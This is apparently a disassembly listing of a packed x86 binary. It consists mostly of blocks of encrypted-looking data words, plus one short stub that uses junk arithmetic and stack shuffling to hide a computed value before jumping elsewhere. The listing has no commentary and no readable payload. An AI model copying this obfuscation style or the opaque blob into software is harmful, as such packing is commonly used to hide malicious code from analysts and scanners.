		dd 0B620D86h, 7A1C7371h, 0E7721771h, 0C3223A09h, 0F3DD9369h
		dd 9B000000h, 248029CAh, 0A2432AAFh, 0D5475304h, 62E922Eh
		dd 0ED6A922h, 0F5401777h, 0ED826F7Fh, 563984C4h, 0DE813751h
		dd 0EA9B2E3Eh, 2CC281CCh, 0B1442987h, 0FCA1720Ch, 0DAECB56Ch
		dd 4595F977h, 770E3A57h, 3612E689h, 770E399Dh, 0C5EE8CE3h
		dd 1DD7937Eh, 0E39940Dh, 457DE877h, 0E396CE5h, 0AF05D077h
		dd 1E9F76DBh, 504E394Eh, 4AA83216h, 0C3967511h,	9B72138Dh
		dd 66119E1Ah, 91742E48h, 0F491FB00h, 0C2ADA3A3h, 2480BE59h
		dd 94BF604h, 0B9F1646Fh, 0B24740D4h, 0BF2AA209h, 11E687C1h
		dd 8011E4E8h, 26C7387Bh, 0F29AE6D4h, 9D11Fh, 73740700h
		dd 0C6EB881Dh, 50593F82h, 20C5A93Ch, 0B338D9ACh, 0F2A857DDh
		dd 6DF0941Dh, 9164688Dh, 7EAFE03h, 78194F70h, 5471EA3Eh
		dd 3DCF7108h, 8A6C01BEh, 11E68B61h, 0AB3AE4E8h,	39AC3CC5h
		dd 0A6472E43h, 85F0B122h, 0CE914B67h, 447AC979h, 0FF4B678Ah
		dd 770E7B66h, 99B10FDAh, 75118AE7h, 9D8E6302h, 0F792FAFFh
		dd 26B58C68h, 8D019EA6h, 110F710Bh, 0EDD1EBCDh,	0C68E9369h
		dd 0EC000000h, 0D8B8D92Bh, 52254596h, 0C3AE3BADh, 432AEE65h
		dd 335304A2h, 7EFD9289h, 8429C99Ch, 1CFD4028h, 3F2DF597h
		dd 9A770E8Ch, 2A2DFF9h,	99D19296h, 0E6818B1h, 7BF16477h
		dd 6A7E7F16h, 0B035D9ACh, 39BE5134h, 4F6D18AFh,	788D1733h
		dd 24B37511h, 7E7C07A0h, 29A28640h, 97710B52h, 1E2A64C0h
		dd 6F08EE01h, 3FCEE87Fh, 0AE33515Ah, 6A8120C9h,	0EFE6D4F0h
		dd 8D8C21Fh, 6D0C0000h,	0E4B10448h, 522489DFh, 0BE563BA9h
		dd 31C6AB39h, 0AF6EC488h, 0FFED16FBh, 6361866Ah, 91F7FC9Eh
		dd 44690Ch, 78113971h, 0C4710853h, 452AB734h, 0B46E28BCh
		dd 0EF0FB94h, 0DC9A4177h, 0EF0D34Ch, 0C6A22977h, 0A52BCCA3h
		dd 0A2432A3Eh, 0FB0472Ah, 6C0EDF59h, 0E4400547h, 8AF57545h
		dd 1181526Ch, 6F57905Dh, 313050A8h, 0E97463D3h,	52E079D1h
		dd 895C770Eh, 0FFD57533h, 0DA75116Ah, 0F40F8D39h, 229E4733h
		dd 61195403h, 0B10A83A7h, 0E376710Bh, 0A4822505h, 0DDA8A6C3h
		dd 5DF6520Ch, 0A37E43BCh, 0BC7B1434h, 1AC17E43h, 7157F38Fh
		dd 0A87C46D5h, 0D8B035C5h, 0B31E378Dh, 0D1B4D4DDh, 8FD9DEB2h
		dd 6A1D4FDAh, 4E9811Fh,	158E9A72h, 6B7846D5h, 0DD9B11FCh
		dd 44C21C4Dh, 0ADC59076h, 0DCB035D8h, 6E01A649h, 1E1CAC05h
		dd 0E7D934D4h, 3D000007h, 0A60B595Eh, 0D5B82CD5h, 472ABE43h
		dd 0F75A0EAFh, 79CB9922h, 0E207E8BEh, 76771BEEh
		dd 0C4ED8F12h, 555A3D80h, 286E37h, 71085287h, 1A043F5h
		dd 8D6B8C6Ch, 846815F8h, 0F0FF98B0h, 0EE7D770Eh, 93D4B403h
		dd 9F5A32E8h, 7D57E1F6h, 513B869Ah, 3911A934h, 751158FFh
		dd 0DBA2EBDh, 0FBFC9C82h, 0B098526Ch, 710B5B17h, 0FF93F665h
		dd 8A4402FEh, 5A5F3DD0h, 0DC755732h, 47710B5Ah,	0B5A6AE3h
		dd 3D671h, 49CFDF55h, 0A76F09E1h, 977630h, 7104E9FFh, 206B1C4Ch
		dd 7301E482h, 3E48B584h, 268DD81Ah, 6F3C0C4Ah, 2D7507D5h
		dd 8A6D00BEh, 0FB926765h, 772E1630h, 412CA887h,	0EB34429h
		dd 0DDAD0B5Eh, 0C0BDFAAh, 0FE4B7585h, 41E9816Ch, 6F0E0133h
		dd 287B3AA1h, 0F5E6D22Dh, 704F815h, 41D00000h, 0B84528BCh
		dd 26C85D33h, 927ACF9Dh, 5EA7F6Dh, 0DB1AE8FCh, 83C1EA8Fh
		dd 37555A3Eh, 0A52BD0A2h, 0D4B83DD0h, 0A43D0D8Dh, 18710852h
		dd 6C018B68h, 94646B8Ch, 5F2A9513h, 0B3442941h,	54F4B20Eh
		dd 750D787Fh, 5610AE3Dh, 66C2E3B7h, 0DCB36C03h,	0B5184CDBh
		dd 0FC8BDDE2h, 31B9D991h, 45B71E18h, 502DC0FEh,	21A421ABh
		dd 0A722AA4Fh, 2D58FC9h, 1718DE8Bh, 0C6E6429Ch,	6F0B76ACh
		dd 0EB2C4712h, 0AEE6D7B7h, 67803DEh, 0CDAC0000h, 44D1A428h
		dd 0B24429BFh, 1EF65B09h, 9166CB99h, 4F8E6468h,	1F4D761Bh
		dd 83C1E68Ah, 31575C3Eh, 0A024C9ACh, 18B19911h,	64710852h
		dd 85F017D4h, 0D2BA4B67h, 0F0B12AFEh, 580F770Eh, 113977CDh
		dd 750D776Bh, 816402C9h, 369BC9EEh, 790E5E5Fh, 668B680Eh
		dd 9E4BDF9Bh, 1A6F06DFh, 0BB52334Fh, 2CC3563Ah,	0DBA6C18Bh
		dd 28EBA5DDh, 0A370E721h, 0C3E5791Eh, 34426AC6h, 0C57511B1h
		dd 0B2A63F0Bh, 4F1A710Bh, 6A05D0F1h, 0E0D1FD27h, 0E3FF12FAh
		dd 31000005h, 0BA0F5D62h, 29BCD0D9h, 5B2EA247h,	0CB5E32B3h
		dd 65CF9D26h, 0E60BECBAh, 7A7B1FE2h, 0C8F18316h, 595E3184h
		dd 1C2C6A0Bh, 71085083h, 2AB437F9h, 6104A243h, 0F9916F94h
		dd 0B6F29C3Fh, 23C39853h, 0A84D2045h, 0E2008B24h, 0AA4F21C4h
		dd 8FC9A722h, 1143E5BBh, 0C13C475h, 22C35717h, 869A3FAAh
		dd 6A4B21CFh, 0EC10C3FFh, 0AD784D1Fh, 4800A94Bh, 3CD3B61Dh
		dd 38B4D1BBh, 7207E650h, 0EE4A1F49h, 0B5A41DEh,	5A2BCF71h
		dd 0D24BDFB5h, 2E710B5Ah, 0E3BC2CBBh, 0FD986A09h, 6119E49Ch
		dd 0B6850C9h, 4339AC71h, 374D2B7Fh, 6C9369C6h, 70FD96B2h
		dd 673D710Bh, 3CE602C3h, 5DDB8E81h, 207Fh, 85F0F800h, 4DFF4B67h
		dd 0C37511FFh, 2FAC7414h, 0FD710BDFh, 0FF051347h, 0F8936A40h
		dd 0BAh, 0A2432A7Bh, 9B2472Ah, 6234D95Fh, 0DE5A0F59h, 89C3E48Bh
		dd 0C0545124h, 0EC3C503Fh, 770EEDFEh, 0DDE28A5Bh, 0F62DE8Bh
		dd 0BC014768h, 0F3B4D4D9h, 0FC4C6A88h, 75120ACEh, 0BCCB994Ch
		dd 77462BD1h, 2AA94E58h, 0AB369D65h, 0C1263B0Fh, 77E26F08h
		dd 63C7813Bh, 7708A0EAh, 40258356h, 9821F2AFh, 93C495F0h
		dd 4D8D142Ch, 0BE03412Ch, 0AC91D0D9h, 2DE6D484h, 488805Dh
		dd 0BD5C0000h, 34C15438h, 0A274D98Fh, 0EE64B19h, 8116FBE9h
		dd 5F9E1478h, 0F5D660Bh, 0B3D1D6BAh, 21A74C2Eh,	5034B95Ch
		dd 28A18901h, 9471084Fh, 452A07E4h, 9F6E28BCh, 0F194F4FDh
		dd 7E7F167Bh, 85F0696Ah, 0FC914B67h, 0D1D9B1Ch,	7511FF7Bh
		dd 0DA626AF1h, 710BDF3Dh, 170155CBh, 936A410Dh,	0D1CAh
		dd 6C017500h, 60656788h, 0E90EE184h, 747D12FFh,	0EDDECC14h
		dd 7D10770Eh, 0DBAA1478h, 50C96133h, 0AC770EEDh, 7C3A5239h
		dd 0EED33ACh, 77C28977h, 6E7E8310h, 5E8FD7Bh, 0B4DFE8E0h
		dd 0C4842DCEh, 0AC7C3A81h, 75120A9Eh, 9D1B491Ch, 0C98324C8h
		dd 8126C99Ch, 992682C7h, 0FCB6F0EEh, 8B618669h,	96B8DA3h
		dd 0D2A40B6Fh, 5F2ABF29h, 4AD4223h, 971CFD40h, 0D44E65DCh
		dd 7D9078E6h, 3A6h, 4A1E9F72h, 0FFED16E7h, 697F846Ah, 99CFF084h
		dd 0A5E6334h, 48297DB8h, 0B8582DA3h, 2ECC5137h,	9B72C785h
		dd 6B2F761Ah, 84E46DFh,	690ABA71h, 28BC452Ah, 4ADEB245h
		dd 770EF0D1h, 616B8C63h, 0D3BE2D64h, 9E1FF697h,	3DD04E22h
		dd 5633555Ah, 432A59DAh, 8F6104A2h, 0EFF9FE92h,	98786FFAh
		dd 6CF19917h, 59606489h, 0A273126Fh, 0F0E57ECAh, 8C5B770Eh
		dd 4622A721h, 56108EF9h, 12091CF2h, 0E743FD75h,	710BC16Eh
		dd 88A907D2h, 6186A6DDh, 49CD18B4h, 2206A03Eh, 0D2DBC714h
		dd 0F89BD782h, 729CB90Bh, 0EB10E1ABh, 0BFC8A01Ch, 0F598D6D4h
		dd 9BCE9E23h, 96C7631Dh, 0AD0D789h, 0AB42235Fh,	0F09821F2h
		dd 0F75A0E95h, 4BE49F20h, 8E44E1E4h, 2D063FEh, 75040000h
		dd 0EC891C70h, 5A3C81C7h, 0C6AE3351h, 39DEA321h, 0A756DCB0h
		dd 0F7951EF3h, 7B698E62h, 0E9FF0496h, 184C7104h, 70E94179h
		dd 0CC71084Dh, 6C01BF3Ch, 0FB8E6A8Fh, 3FF99314h, 0A626C7AEh
		dd 0F0BF58F0h, 0AE3D770Eh, 700EBEC3h, 0D91E926Bh, 0BA9D463h
		dd 4DDDB6Fh, 8C5B7511h,	35BDB1D8h, 0CB2A664Ah, 4D9C6E47h
		dd 4507ACh, 0D6902EB5h,	0E25E5F37h, 0EAA14CAh, 573F926Fh
		dd 802CA585h, 0C590770Eh, 0EC7B6E7Eh, 0CB5F19D1h, 770E8052h
		dd 6DBD3BAEh, 0EA845B7Ch, 0BA8E5B26h, 0BA80D221h, 457DC89Fh
		dd 83EB1FE5h, 1E4E1DB8h, 0E6801E69h, 0F7EE6B2Ch, 66265D17h
		dd 0C871A28Ah, 0B82FBA7Fh, 67886FFEh, 2D90884Bh, 56EA2F1h
		dd 9F76DBAFh, 5BF0671Eh, 75155A59h, 1F598h, 0AF502300h
		dd 22C75439h, 8C35DBAEh, 1CA175D8h, 0EF14E548h,	9ECC0BF9h
		dd 99CF0F9h, 0BD004469h, 23B6DADFh, 9C25AB4Ch, 4C950E1Ah
		dd 59EB7108h, 68432A9Ah, 798A9E79h, 0DA53032h, 4EA9778h
		dd 0F49410FFh, 24CDA342h, 0FC4B21A4h, 0F3571391h, 75111689h
		dd 5D6C60F7h, 1F9DE86Ah, 5BEFA963h, 710AF8C2h, 0FDCDAB3Eh
		dd 6F0E1127h, 7F3B76E5h, 801D0AEEh, 0E974117Bh,	12E7EAFFh
		dd 0EEAFFE9h, 0E075C53Eh, 0FCA2EDEEh, 68E1491Fh, 0D4BE1CB5h
		dd 4FD2BA01h, 0D0BF0AABh, 0CECCB296h, 38CDBC1Fh, 0F8D95758h
		dd 28BD7B6Dh, 37B85845h, 0CFA520A8h, 0DB971560h, 0DD900921h
		dd 79ECB81Dh, 3465C583h, 8FB61BCBh, 594458CCh, 0A50377E8h
		dd 2C6B138Ch, 0D78DF4FAh, 0B85F2E48h, 388728CFh, 0E708EF7Eh
		dd 0FD906509h, 4B5CB9F8h, 0ED7D5E25h, 10570h, 0BF40D300h
		dd 32B74429h, 9C25CB5Eh, 6C9165C8h, 0FF049578h,	8EDC1BE9h
		dd 398CC0E9h, 0AD305459h, 0D3A62ACFh, 8CD5BB3Ch, 4CA53E0Ah
		dd 691B7108h, 0E347018Ah, 770EF06Ah, 0C0A503D6h, 189D702Dh
		dd 0DE8E1570h, 0A6C0DEA9h, 727719ECh, 0C2E3B71Ah, 0D3D1F977h
		dd 617511EDh, 0ED880129h, 61F4710Bh, 0CEB9F69Ah, 9DC96D0h
		dd 0A4094368h, 0EA462DD6h, 0A7434C2h, 7B37A26Fh, 0ECFC05EAh
		dd 14B7001h, 6B03F944h,	9ACEEF86h, 0D5F6037h, 5F8FBDE5h
		dd 0E1350B5Eh, 8921C6A9h, 9C3515CFh, 0E04DA39Bh, 9BBA5375h
		dd 53064DA3h, 492CB1D5h, 904A477h, 1E5D556Dh, 0A3AA950Eh
		dd 917CEB4Dh, 0AE826AF7h, 0A3AB019Ah, 1DE87F4Dh, 0F82C004Bh
		dd 0DE77D38Dh, 224DA3AAh, 0C15439B7h, 0DE3823Ch, 0BE1E4E4h
		dd 2FB9267h, 90F8476Ch,	197Dh, 0BE924500h, 46EA1316h, 1B83BB1h
		dd 0F06AE347h, 0F49A770Eh, 0AB01D4CFh, 472AF4EFh, 0B45B26A6h
		dd 26F45933h, 9266CB9Dh, 1967B6Dh, 6C0D90F8h, 0D4B80547h
		dd 42D4B9D3h, 0B1422FB9h, 530B4008h, 0C381E389h, 4, 3304EB83h
		dd 1C31241Ch
		dd 241C3324h
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	5BC8h
		mov	[esp], edx
		push	ebx
		push	eax
		mov	eax, 151A1918h
		inc	eax
		sub	eax, 618F3A91h
		not	eax
		or	eax, 332468F2h
		add	eax, 8315A61Bh
		mov	ebx, eax
		pop	eax
		mov	esi, 37B8976h
		add	esi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebp
		mov	ebp, esi
		mov	[edx+8], ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5439D9
; ---------------------------------------------------------------------------
		db 0E8h, 0E6h, 0A9h
		dd 57F987A1h, 0A623B8B2h, 0C5030606h, 851CE0FFh, 323F65F1h
		dd 0D046129Dh, 0F4473D3h, 0CF4A3083h, 0E53243EDh, 0E81575Bh
		dd 1A063F0Bh, 149F3878h, 9B2D1504h, 0E84830D6h,	0F4E53813h
		dd 0AA623028h, 0F0EF2892h, 2E880A6Dh, 9E4F0FC7h, 7ABC4F64h
		dd 0EE035C3Fh, 25472D59h, 3C92499Eh, 18B7036Eh,	807E5502h
		dd 44B717E1h, 847A50CFh, 97F003A1h, 39EB0E2Fh, 0BF0000h
		dd 0BF02CCh, 0BF02E4h, 0
		dd 462CA27Eh, 7735AE42h, 2324A6EBh, 4E2FA236h, 4F25E5CDh
		dd 770FCB3Ch, 230D876Ch, 530EBF5Ah, 4B15A56Fh, 4720AE77h
		dd 232BAB82h, 23422317h, 7D61CBA0h, 57C89593h, 67C0CF0Ch
		dd 2357CF30h, 7507CB0Ah, 2BA12BC6h, 232B0B09h, 23422316h
		dd 7C61CBA0h, 5FC89493h, 67C0CF0Ch, 2354CF30h, 7406CB0Ah
		dd 45179DC6h, 7FD81103h, 337876C2h, 5641CDA3h, 3EFC4859h
		dd 2347C839h, 7011D260h, 9AF90B81h, 0AA41CB01h,	2056BE07h
		dd 0B2DC4647h, 0DC47CE10h, 0A0199083h, 2050D695h, 3435CB12h
		dd 9AF9985Ah, 0AA41CB01h, 2056BE07h, 0A3DC4647h, 0DC47CE0Dh
		dd 0A8199083h, 206396A5h, 7041A112h, 2341C8E2h,	0E01AEB05h
		dd 71D42D9h, 7054A45h, 2341D0A4h, 0E0128850h, 0B36EEBFFh
		dd 6B6D8E94h, 23414905h, 0E3CACB05h, 23404E8Dh,	0E5B9CB41h
		dd 206EF225h, 0A6689D56h, 2542D455h, 13747E9Dh,	729CD09h
		dd 0CB70A4F1h, 2341CB8Eh, 203FA0DCh, 31E6FB29h,	0D47514B8h
		dd 7992404Eh, 0D65CF95h, 492AF3CEh, 20A99C05h, 341CB82h
		dd 0AA1E081Eh, 0A245EFDCh, 3745EF14h, 6441CB28h, 0CA990843h
		dd 2341CB05h, 6D0792C7h, 0FBC641E0h, 0D0256A35h, 0DCA20788h
		dd 206902E5h, 7341A12Eh, 2341C8FCh, 0E019EB0Ah,	705425Dh
		dd 7054A86h, 2341DF45h,	0E0118BA0h, 82F4422Ch, 0AE47C832h
		dd 25327791h, 7641A10Ch, 2341C8EDh, 0E01CEB82h,	72D421Ch
		dd 7054AA4h, 2341D654h,	0E0148E28h, 433AC6B8h, 465F8500h
		dd 0F3BE9132h, 0CB13CBE8h, 2341CB42h, 79829180h, 27659FD9h
		dd 27658FA9h, 2341CB0Fh, 27829948h, 4C606819h, 0A8301CA2h
		dd 204AEEFCh, 8AF4E2A6h, 4947C87Ch, 7241A12Ch, 2341C8FCh
		dd 0E018EB0Ah, 70D425Ch, 7054A86h, 2341D045h, 0E0108AA0h
		dd 3151113Ah, 445A6E43h, 0DEC44274h, 2C47C815h,	2341CD82h
		dd 2DC4282h, 4247C862h,	0B134ECC8h, 235123AFh, 7B1BCB28h
		dd 295D568Ah, 0F72476E8h, 4B5C365Eh, 0A21F0DA3h, 0B998EF45h
		dd 232BCBCDh, 23422305h, 7E61CB28h, 4FC896D7h, 67C0CF2Eh
		dd 235ACF21h, 7604CB82h, 0B6906982h, 383ED382h,	0E6F75C1h
		dd 27A9D887h, 0CF41CB14h, 0CA41CB08h, 2341CB17h, 2E8B00ECh
		dd 0D3442FF8h, 0D429A89Ch, 0B2C5A14Dh, 731178F6h, 24DC7446h
		dd 124E9567h, 67CA935Fh, 2C21CFA6h, 2341CBC9h, 429B40A0h
		dd 0A24ECBDBh, 2341CB2Eh, 0AAF8AD46h, 67C892B6h, 7312CF21h
		dd 0E9CAADD0h, 9D27FA4Eh, 7B1BAC12h, 2BA8930Ah,	8841CB28h
		dd 700B0C89h, 492546FEh, 0F6FFAD05h, 2C913456h,	2341DDC2h
		dd 33C6C4A0h, 0CB41CB50h, 2341CB22h, 72FF7BBCh,	0F7CECAE5h
		dd 0AA1BBDE0h, 25E6E307h, 16FC4047h, 0A847C888h, 218DCEA8h
		dd 0A6C8CB28h, 25476C38h, 0AA590B89h, 25E6FB80h, 9A81F884h
		dd 2341C9ADh, 0C8CB6153h, 2342445Fh, 0A827CB28h, 1AC40DDEh
		dd 6047C825h, 0CB13CB6Fh, 2341CB81h, 79829161h,	27659F29h
		dd 27658FD1h, 2341CB3Ch, 84829956h, 39E05E83h, 27A9CD06h
		dd 7D41CB82h, 45DDAC2Ah, 0A811012Bh, 4345EF14h,	31A835A2h
		dd 0B641CB14h, 0E8977ECh, 98CC1E0Eh, 5FB2B30Bh,	296D543Eh
		dd 23CAAA32h, 0A8279900h, 0CA70C4FEh, 2341CB07h, 4DC9C321h
		dd 6AFC557Dh, 0F81A01C3h, 48A0211Ah, 79F4A0A2h,	7054208h
		dd 2344232Ch, 51E4CB14h, 0A8DE7C03h, 491991CEh,	20A99C82h
		dd 341CB41h, 0AA1E08FFh, 0A245EF2Ch, 3945EF6Ch,	6441CB14h
		dd 0F642085Dh, 0E921F0B0h, 0EAF43436h, 4947C869h, 20A999A0h
		dd 341CB50h, 0AA1B0872h, 0A245EF40h, 3545EF4Eh,	6141CB05h
		dd 0A44208D0h, 0C9C0AD3Ah, 0A6CC4F99h, 2547B8ECh, 0CB12CB42h
		dd 2341CB17h, 7882902Ah, 2765978Ch, 27658F03h, 2341CB54h
		dd 3C8298E3h, 0CA9134E3h, 2341CB38h, 5E079DE3h,	381B2FC2h
		dd 39DC6FE7h, 0AC11D761h, 3354764Ah, 0A6C8CDA3h, 2542D96Dh
		dd 23474427h, 0F9C0CB14h, 26564624h, 23C44E88h,	9ECACD81h
		dd 2542C750h, 2F884E29h, 944ECD53h, 1AC40DF9h, 7047C83Bh
		dd 0A8B27C05h, 2055C6B0h, 0AB0DA384h, 27C0748Eh, 0C2814784h
		dd 7641A16Ch, 2341C8C0h, 0E01CEB14h, 72D4257h, 7054A01h
		dd 2341D086h, 0E0148E41h, 265339E7h, 0F71D948Eh, 2BEC76A3h
		dd 96BECD17h, 2542E3C3h, 0AE272685h, 25327707h,	7541A147h
		dd 2341C848h, 0E01FEB50h, 7354276h, 7054A10h, 2341DD0Eh
		dd 0E0178D05h, 0CA9D1831h, 2341CB51h, 0B8B79BADh, 1FC24F9Ch
		dd 0ED490A2Ch, 0ACEA2E37h, 232B1BF5h, 23422357h, 7961CB82h
		dd 77C89182h, 67C0CF84h, 235ACF74h, 7103CB28h, 0BA8FD5D7h
		dd 1C184659h, 234422F8h, 71B9CB82h, 0AAE7376Ah,	205E7225h
		dd 9827AB56h, 28A8ED5Ch, 0E441CB14h, 878C6E87h,	301C0CF3h
		dd 0E520AD9Ah, 206EF2C4h, 232B98A6h, 23422306h,	7D61CB28h
		dd 57C895D7h, 67C0CF2Eh, 2354CF21h, 7507CB82h, 0AAB93082h
		dd 2063061Dh, 23452356h, 0E7F2CB28h, 9AFB130Ch,	730E8B0Fh
		dd 0CB407B65h, 2341CB93h, 0F42FAAD8h, 0B076FF3Fh, 576BE198h
		dd 20BA43E3h, 781B9A20h, 705406Bh, 234B2301h, 0DFEECB82h
		dd 0D781438Bh, 0DE0AAD58h, 0D2CAAD00h, 23CA9572h, 27658F9Dh
		dd 2341C3E2h, 1670FB05h, 59D0A32Fh, 2C19944Bh, 50FE0017h
		dd 0DC68B963h, 2069029Dh, 7141A112h, 2341C8E2h,	0E01BEB05h
		dd 71542D8h, 7054A45h, 2341DCA4h, 0E0138950h, 4D07B24Fh
		dd 0A6CC059Fh, 2547B8B6h, 2341D8ECh, 124CF982h,	1CDEC389h
		dd 48B83843h, 0F01EF0AAh, 3F9121E0h, 0A8271BEBh, 26C442F2h
		dd 0CB47C82Bh, 2341CB8Eh, 0C9ABB130h, 98AB7EDAh, 7FA630CCh
		dd 304456A1h, 0E51ECD17h, 206EF28Fh, 0F2CA8C03h, 2341CF6Ah
		dd 0FD9C6241h, 0A8219B17h, 2DA8AB97h, 0B841CB28h, 4A9E383Dh
		dd 61553A8Dh, 23B61E90h, 0A820AA11h, 4345EF05h,	2341D948h
		dd 42A08B50h, 0B150D94Eh, 0B8311785h, 0D5F96EBCh, 456E0EB6h
		dd 701B3C09h, 2341CDA9h, 0B6EC1BA0h, 7A18E646h,	23CAAA77h
		dd 51DB61AEh, 705420Ch,	2C139B01h, 2341DB08h, 234A2241h
		dd 0A315CBA0h, 0EAE97F09h, 5B5EC97Fh, 0CA70C4ADh, 2341CB1Ah
		dd 0B04A0897h, 41FB83DEh, 0F76A41BFh, 0D25F0911h, 2C19930Ah
		dd 96BE3D9Fh, 2542E3DDh, 2341C2E3h, 17E62905h, 4885801Dh
		dd 0A6CC07A6h, 2547B81Ch, 0CB13CB3Ah, 2341CB2Bh, 79829134h
		dd 27659F83h, 27658F84h, 2341CB9Ah, 70829903h, 0DF63DA22h
		dd 4592745Fh, 0F3BE31A3h, 0CB10CB7Eh, 2341CB09h, 7A829225h
		dd 2765870Bh, 27658FC0h, 2341CBBAh, 29829A11h, 0A62DA35Ah
		dd 0AE708EEDh, 2542E52Bh, 0AABE740Ah, 2045FA07h, 0A6873247h
		dd 2542E499h, 7241A117h, 2341C8C0h, 0E018EB14h,	70D4253h
		dd 7054A01h, 2341D786h,	0E0108A41h, 3D258D7Fh, 166EE0F3h
		dd 23552213h, 0F64ECB14h, 0B677C393h, 0EF291964h, 67451A21h
		dd 0C3B3B621h, 3229B98Ah, 0CA726604h, 2341CB3Bh, 86DA5E0h
		dd 77A95A0Ch, 1E73A507h, 5C87F0E1h, 0A2A754B8h,	9F28EFA4h
		dd 232B857Eh, 2342237Dh, 7E61CB14h, 4FC896C9h, 67C0CF21h
		dd 2354CFA6h, 7604CB41h, 0DCAF3B63h, 206902E5h,	7241A12Eh
		dd 2341C8FCh, 0E018EB0Ah, 70D425Ch, 7054A86h, 2341DC45h
		dd 0E0108AA0h, 0EF9423F8h, 2BB84EA1h, 0A6CCCD17h, 2547B8B6h
		dd 0CB10CB6Fh, 2341CB81h, 7A829261h, 27658729h,	27658FD1h
		dd 2341CB33h, 65829A55h
		dd 7AAB4880h, 435480DBh, 3F044609h, 0A84ECD42h,	2341CBA5h
		dd 2080D8EFh, 32A9AA20h, 0F641CB14h, 9BED1F32h,	0DABF0812h
		dd 51FCFACAh, 74DAE430h, 499134FFh, 20A99D50h, 341CB28h
		dd 0AA1F084Ah, 0A245EF7Eh, 3A45EF41h, 6541CB82h, 65E0817h
		dd 24EE7DF5h, 7C446D9h,	0A6C8CD2Bh, 2542C869h, 0CB17CB60h
		dd 2341CB06h, 7D8295A2h, 2765BFC8h, 27658F21h, 2341CB47h
		dd 0A5829D6Eh, 0A8FCF177h, 20702A87h, 1AC40D03h, 6447C8ADh
		dd 0C7C7EC8h, 2AA9CDA3h, 7C41CB50h, 0E8A64BCAh,	0DE795FA9h
		dd 2341C3E2h, 0E4BE5605h, 0DCE48C1Eh, 23C9C45Eh, 7C41CBA0h
		dd 0D266A309h, 0AA4E6E37h, 2341CB08h, 2355235Ch, 432CB05h
		dd 0F79E030Ch, 6BF647B4h, 0FB15E2Fh, 1374C995h,	7C1F949Bh
		dd 5965FF95h, 494E19C7h, 20A99905h, 341CB82h, 0AA1B081Bh
		dd 0A245EFF4h, 3945EF14h, 6141CB28h, 0C4920846h, 0DE8B50EEh
		dd 45B74A73h, 0DC658379h, 206902F4h, 0F6FBADA6h, 9FC44643h
		dd 4347CD5Bh, 3C044E1Dh, 0DC20CD09h, 0AA8F40D5h, 2045DA07h
		dd 234E2247h, 9E7DCBA0h, 0F2671C7Fh, 5698CAB9h,	0CDEC403Ah
		dd 0A29134F3h, 7E874D4h, 0AEC442A8h, 4347C853h,	2341C048h
		dd 0F8D6B250h, 0E3B6DE2Fh, 0DEFADAD9h, 25C2C452h, 0A841CB05h
		dd 205EB607h, 0AF27AA47h, 7641A178h, 2341C8B8h,	0E01CEB28h
		dd 72D4249h, 7054A0Eh, 2341DC01h, 0E0148E82h, 978BAB7Ah
		dd 2765392Bh, 2341485Fh, 0E34BCB28h, 21AF4F1Bh,	232BCB0Ah
		dd 23422356h, 7861CB82h, 7FC89082h, 67C0CF84h, 2357CF74h
		dd 7002CB28h, 126408D7h, 0C784ECCh, 0A80ECD06h,	200FA378h
		dd 0AB4E35FAh, 2341CBB8h, 2341C7B8h, 47C06B28h,	16EDB4C7h
		dd 0B206B0h, 2C139BBDh,	7C1991B3h, 0A965FFC0h, 4900F0CFh
		dd 20A99E50h, 341CB28h,	0AA1C0849h, 0A245EF66h,	3B45EF41h
		dd 6641CB82h, 8F190814h, 0A8B3D49Ch, 2056FEC5h,	0EAF4342Eh
		dd 4947C83Ch, 20A99B0Ah, 341CB05h, 0AA1908DAh, 0A245EF05h
		dd 3645EFE4h, 6341CB50h, 66F10878h, 0EF8B4A72h,	9FC44636h
		dd 4947CD76h, 20A99A82h, 341CB41h, 0AA1808F9h, 0A245EF1Ch
		dd 3945EF6Ch, 6241CB14h, 0FBB9085Bh, 0B9445D5Ah, 2DA89B68h
		dd 9A41CB41h, 1D96FCF8h, 0DDF2EA2Fh, 74C87B41h,	0F3BE91D6h
		dd 49650B89h, 20A99D05h, 341CB82h, 0AA1F081Fh, 0A245EFD4h
		dd 3B45EF14h, 6541CB28h, 0E9810842h, 0CB5C061Eh, 2341CB11h
		dd 4C678654h, 443445Eh,	4DAF0347h, 0EFF427D6h, 48E9036h
		dd 7DBF741Bh, 37444E83h, 232BCD06h, 234223D3h, 7A61CB41h
		dd 6FC89263h, 67C0CF74h, 2355CF0Ch, 7200CB14h, 92F30BC9h
		dd 31CC4E8Eh, 0ADFBCD81h, 0A85D43CDh, 2045DA3Dh, 60117A56h
		dd 2C385619h, 38CACD17h, 8CCAEDB4h, 0A34E9B4Dh,	2341CB84h
		dd 130512C0h, 0A81FFAB1h, 4596404Bh, 86D711A9h,	0A227D09Fh
		dd 10B0FFECh, 0A2F442DDh, 0CA47C8A6h, 2341CB50h, 79D4E41h
		dd 9A48E7A4h, 0D336D730h, 0F2D2C54Ah, 5ADC429Eh, 4947C819h
		dd 20A99A82h, 341CB41h,	0AA1808F9h, 0A245EF1Ch,	3645EF6Ch
		dd 6241CB14h, 2B96085Bh, 0E58A4063h, 206EF207h,	232B8C47h
		dd 234223F0h, 7B61CB50h, 67C893EBh, 67C0CF30h, 2358CF2Eh
		dd 7301CB05h, 8D90A641h, 0A89550DFh, 0A3DDA359h, 71112E6Ch
		dd 0E145714Eh, 24A9FA1Bh, 8D41CB0Ah, 33CCA32Ch,	9C275D6Dh
		dd 791E5BFBh, 7754AF8h,	71A39665h, 0CB10CB42h, 2341CB17h
		dd 7A82922Ah, 2765878Ch, 27658F03h, 2341CB59h, 0AB829AE1h
		dd 0BFAA0672h, 0B887ED7h, 0B6CACD17h, 2542F983h, 50FD4E88h
		dd 0AE40CD84h, 2542FAA0h, 9E6A1B5Fh, 2542C3BDh,	27704EA1h
		dd 9D27CD17h, 4501801Ah, 0A8E912BBh, 7341A182h,	2341C8A9h
		dd 0E019EBA0h, 7054208h, 7054A2Ch, 2341D710h, 0E0118B0Ah
		dd 0F409A49Ch, 6B0E1F4Bh, 0BAFCE076h, 4547C8AFh, 0A8981BEEh
